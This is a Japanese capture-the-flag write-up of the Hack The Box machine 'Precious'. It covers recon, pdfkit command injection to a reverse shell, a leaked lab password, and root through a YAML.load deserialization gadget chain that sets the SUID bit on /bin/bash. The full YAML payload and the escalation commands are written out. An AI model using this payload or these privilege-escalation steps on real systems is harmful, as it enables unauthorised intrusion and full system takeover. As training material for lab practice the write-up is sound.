🐶

[Hack The Box]Precious writeup

2023/12/09に公開


★4.6の勉強になりそうなマシン、exiftoolなどのツールの勉強にもなるマシン

openvpn

┌──(kali㉿kali)-[/home/kali.org]
└─$ sudo openvpn /home/kali/Downloads/lab_ryotaromosao.ovpn
[sudo] kali のパスワード:
2023-12-09 14:30:15 WARNING: Compression for receiving enabled. Compression has been used in the past to break encryption. Sent packets are not compressed unless "allow-compression yes" is also set.
2023-12-09 14:30:15 Note: --data-cipher-fallback with cipher 'AES-128-CBC' disables data channel offload.
2023-12-09 14:30:15 OpenVPN 2.6.3 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] [DCO]
2023-12-09 14:30:15 library versions: OpenSSL 3.0.9 30 May 2023, LZO 2.10
2023-12-09 14:30:15 DCO version: N/A
2023-12-09 14:30:18 TCP/UDP: Preserving recently used remote address: [AF_INET]23.106.38.195:1337

USER PRIVILEGES

nmap

┌──(kali㉿kali)-[/home/kali.org]
└─$ sudo nmap -n -v -T4 --min-rate 10000 10.10.11.189 -sSV -Pn
[sudo] kali のパスワード:
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-09 14:32 JST
NSE: Loaded 46 scripts for scanning.
Initiating SYN Stealth Scan at 14:32
Scanning 10.10.11.189 [1000 ports]
Discovered open port 80/tcp on 10.10.11.189
Discovered open port 22/tcp on 10.10.11.189
Increasing send delay for 10.10.11.189 from 0 to 5 due to 393 out of 982 dropped probes since last increase.
Increasing send delay for 10.10.11.189 from 5 to 10 due to 409 out of 1022 dropped probes since last increase.
Completed SYN Stealth Scan at 14:32, 1.61s elapsed (1000 total ports)
Initiating Service scan at 14:32
Scanning 2 services on 10.10.11.189
Completed Service scan at 14:32, 6.66s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.11.189.
Initiating NSE at 14:32
Completed NSE at 14:32, 1.23s elapsed
Initiating NSE at 14:32
Completed NSE at 14:32, 1.23s elapsed
Nmap scan report for 10.10.11.189
Host is up (0.27s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open  http    nginx 1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.14 seconds
           Raw packets sent: 3068 (134.992KB) | Rcvd: 2383 (95.328KB)

port22と80が開いていた
port80が開いてるということはwebサイトがあるはずなので見に行く
おそらくwebサイトの何かしらの脆弱性を利用してpasswordを見つけ、sshでマシンにつなぐ流れだろう
まずは、precious.htbの名前解決をするために/etc/hostsに登録をする

┌──(kali㉿kali)-[/home/kali.org]
└─$ sudo vim /etc/hosts                              
127.0.0.1	localhost
10.10.11.214 pc.htb
127.0.1.1 kali
10.10.11.189 precious.htb

これで準備完了
しかし、自分はいつも(時間短縮のため)webを見に行く前にffufでディレクトリ探索とサブドメイン検索を回しておくようにしている

ffuf

ffufの使い方はcheat.shに教えてもらう

┌──(kali㉿kali)-[/home/kali.org]
└─$ curl cheat.sh/ffuf
# ffuf
# Subdomain and directory discovery tool.
# More information: <https://github.com/ffuf/ffuf>.

# Discover directories using a [w]ordlist on a target [u]rl with [c]olorized and [v]erbose output:
ffuf -w path/to/wordlist -u https://target/FUZZ -c -v

# Fuzz host-[H]eaders with a host file on a target website and [m]atch HTTP 200 [c]ode responses:
ffuf -w hosts.txt -u https://example.org -H "Host: FUZZ" -mc 200

# Discover directories using a [w]ordlist on a target website with a max individual job time of 60 seconds and recursion discovery depth of 2 levels:
ffuf -w path/to/wordlist -u https://target/FUZZ -maxtime-job 60 -recursion -recursion-depth 2

# Fuzz GET parameter on a target website and [f]ilter out message [s]ize response of 4242 bytes:
ffuf -w path/to/param_names.txt -u https://target/script.php?FUZZ=test_value -fs 4242

# Fuzz POST method with POST [d]ata of password on a target website and [f]ilter out HTTP response [c]ode 401:
ffuf -w path/to/postdata.txt -X POST -d "username=admin\&password=FUZZ" -u https://target/login.php -fc 401

# Discover subdomains using a subdomain list on a target website:
ffuf -w subdomains.txt -u https://website.com -H "Host: FUZZ.website.com"

1 まずはディレクトリ探索

┌──(kali㉿kali)-[/home/kali.org]
└─$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://10.10.11.233 -H "Host:FUZZ.analytics.htb" -fc 302

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.233
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.analytics.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response status: 302
________________________________________________

[WARN] Caught keyboard interrupt (Ctrl-C)

2 次にサブドメイン検索

┌──(kali㉿kali)-[/home/kali.org]
└─$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://10.10.11.189 -H "Host:FUZZ.precious.htb" -fc 302

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.189
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.precious.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response status: 302
________________________________________________

:: Progress: [19966/19966] :: Job [1/1] :: 113 req/sec :: Duration: [0:02:30] :: Errors: 0 ::

特に目ぼしいものはなし(´;ω;`)ウゥゥ
webサイトを見に行く

web enumeration

何かのページをpdfに変換してくれるurlのようだ

適当に検索したwebページを入力してみたが、リモートのURLはloadできないようだ

ということはローカルのページ?

httpサーバーを立ち上げる

┌──(kali㉿kali)-[/]
└─$ python3 -m  http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
127.0.0.1 - - [09/Dec/2023 14:52:19] "GET / HTTP/1.1" 200 -

お!確かにpdf化された!

pdfをダウンロードしてみてexiftoolでmetadataを調べてみる
exiftoolはファイルから色々なmetadataを抽出してくれる強力なツールである

exiftool

In Kali Linux, Exiftool is a powerful tool used for viewing, editing, and extracting metadata from image files. It is a command-line tool that can be used to manipulate image metadata, such as EXIF tags, GPS data, and other embedded data. Exiftool can be used to view, edit, and create new metadata fields in image files. It can also be used to extract metadata from image files and save it in a separate file. Exiftool is a powerful tool that can be used to view, edit, and extract metadata from image files.

┌──(kali㉿kali)-[/home/kali.org/Machine/precious]
└─$ exiftool 2djwp6b97myzj1wcls10qzstm2zjqht0.pdf 
ExifTool Version Number         : 12.63
File Name                       : 2djwp6b97myzj1wcls10qzstm2zjqht0.pdf
Directory                       : .
File Size                       : 20 kB
File Modification Date/Time     : 2023:12:09 15:00:24+09:00
File Access Date/Time           : 2023:12:09 15:00:24+09:00
File Inode Change Date/Time     : 2023:12:09 15:02:24+09:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Page Count                      : 1
Creator                         : Generated by pdfkit v0.8.6

ここで怪しいのはGenerated by pdfkit v0.8.6
特にバージョン情報が出ているとexploitを調べたくなる

pdfkit Command Injection(CVE-2022-25765)

この記事によると、コマンドインジェクションの脆弱性があるらしい
色々試してみて、このpayloadで発火した

ここまでくると、あとはリバースシェルを取りに行くだけだ
burpsuiteに移る
Reverse Shell Generatorを用いる

それをCyberchefでURLエンコード


ncでリッスンすると…

┌──(kali㉿kali)-[/home/kali.org]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.21] from (UNKNOWN) [10.10.11.189] 39562
/bin/sh: 0: can't access tty; job control turned off
$ 

はいきたー!( ゚Д゚)/ シェルが帰ってきたら、まずはシェルの安定化を行う
安定化しないとCtrl + Z↑``↓Tabの補完機能が使えないからだ
HackTricsさんのこの記事を参考に行う

$ python3 -c 'import pty; pty.spawn("/bin/bash")'
ruby@precious:/var/www/pdfapp$ ^Z
zsh: suspended  nc -lvnp 4444
┌──(kali㉿kali)-[~]
└─$ stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
[1]  + continued  nc -lvnp 4444
                               ls
app  config  config.ru  Gemfile  Gemfile.lock  pdf  public
ruby@precious:/var/www/pdfapp$   

これで安定化できた、user.txtを探しに行く

ruby@precious:/home/henry$ cat user.txt 
cat: user.txt: Permission denied
ruby@precious:/home/henry$ ls -la
total 24
drwxr-xr-x 2 henry henry 4096 Oct 26  2022 .
drwxr-xr-x 4 root  root  4096 Oct 26  2022 ..
lrwxrwxrwx 1 root  root     9 Sep 26  2022 .bash_history -> /dev/null
-rw-r--r-- 1 henry henry  220 Sep 26  2022 .bash_logout
-rw-r--r-- 1 henry henry 3526 Sep 26  2022 .bashrc
-rw-r--r-- 1 henry henry  807 Sep 26  2022 .profile
-rw-r----- 1 root  henry   33 Dec  9 00:14 user.txt

henryの権限がないと見れないらしい、いろいろ探してみる
すると/home/ruby/.bundle/configにhenryのpasswordがあった

ruby@precious:~/.bundle$ cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"

これでスイッチユーザーできたので、user.txtが取れた!

ruby@precious:~/.bundle$ su henry
Password: 
henry@precious:/home/ruby/.bundle$ 

PRIVILEGE ESCALATION

alias

user権限が取れたら、aliasで自分のお気に入りのコマンドを登録することをお勧めする
特にls -laはよく使うので自分はllで登録している

henry@precious:~$ alias ll="ls -la"
henry@precious:~$ ll
total 3064
drwxr-xr-x 2 henry henry    4096 Dec  9 02:53 .
drwxr-xr-x 4 root  root     4096 Oct 26  2022 ..
lrwxrwxrwx 1 root  root        9 Sep 26  2022 .bash_history -> /dev/null
-rw-r--r-- 1 henry henry     220 Sep 26  2022 .bash_logout
-rw-r--r-- 1 henry henry    3526 Sep 26  2022 .bashrc
-rw-r--r-- 1 henry henry     616 Dec  9 02:52 dependencies.yml
-rw-r--r-- 1 henry henry     616 Dec  9 02:52 dependencies.yml.1
-rw-r--r-- 1 henry henry     807 Sep 26  2022 .profile
-rwxr-xr-x 1 henry henry 3104768 Dec  9 02:21 pspy64
-rw-r----- 1 root  henry      33 Dec  9 00:14 user.txt

では!いつも通りhenry(or ruby)がroot権限で実行できるものがないかを確認する

sudo -l

henry@precious:/home/ruby/.bundle$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
henry@precious:/home/ruby/.bundle$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

ほお、パスワード無しにruby update_dependencies.rbを実行できるらしい

/opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

YAML.load(File.read("dependencies.yml"))が気になる
dependencies.ymlを探してみる

henry@precious:/opt$ find / -name 'dependencies.yml' 2>/dev/null
/opt/sample/dependencies.yml
/opt/sample/dependencies.yml
yaml: 0.1.1
pdfkit: 0.8.6

ここでyaml load dependencies.ymlで調べてみるとCVE-2022-32224が見つかった

Possible RCE escalation bug(CVE-2022-32224)

RedHat

An insecure deserialization flaw was found in Active Record, which uses YAML.unsafe_load to convert the YAML data into Ruby objects. An attacker supplying crafted data to the database can perform remote code execution (RCE), resulting in complete system compromise.

Active RecordではDBの絡むにserialize属性が指定でき、これはDBにシリアライズしたオブジェクトを保存可能にするものだが、保存された値をデシリアライズするときにYAML_unsafe_loadが使われているので危険らしい
Ruby3.1からはYAML.loadのデフォルトがYAML/safe_loadに変更され、デフォルトで安全になったらしい

では実際に発火させるために色々調べてみる

この記事を参考にdependencies.ymlを作成する
ターゲットマシンではvimが使えなかったりと、いろいろ不便なので、自分のマシンでPoCコードを書いてから、ターゲットマシンに転送している

dependencies.yml
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id
         method_id: :resolve

では実行してみる!

henry@precious:~$ /usr/bin/ruby /opt/update_dependencies.rb 
sh: 1: reading: not found
uid=1000(henry) gid=1000(henry) groups=1000(henry)
Traceback (most recent call last):
	33: from /opt/update_dependencies.rb:17:in `<main>'
	32: from /opt/update_dependencies.rb:10:in `list_from_file'
	31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
	30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
	29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
	28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
	27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
	26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
	25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'

idの実行結果が出力されているので、発火していることが分かる
ここまでくると後は簡単
idchmod +s /bin/bashに変更する

dependencies.yml
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: chmod +s /bin/bash
         method_id: :resolve

そして再度実行する

henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
Traceback (most recent call last):
	33: from /opt/update_dependencies.rb:17:in `<main>'
	32: from /opt/update_dependencies.rb:10:in `list_from_file'
	31: from /usr/lib/ruby/2.7.0/psych.rb:279:in `load'
	30: from /usr/lib/ruby/2.7.0/psych/nodes/node.rb:50:in `to_ruby'
	29: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
	28: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:6:in `accept'
	27: from /usr/lib/ruby/2.7.0/psych/visitors/visitor.rb:16:in `visit'
	26: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:313:in `visit_Psych_Nodes_Document'
	25: from /usr/lib/ruby/2.7.0/psych/visitors/to_ruby.rb:32:in `accept'
henry@precious:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1234376 Mar 27  2022 /bin/bash
henry@precious:~$ bash -p
bash-5.1# whoami
root

root.txtが取れました!

Discussion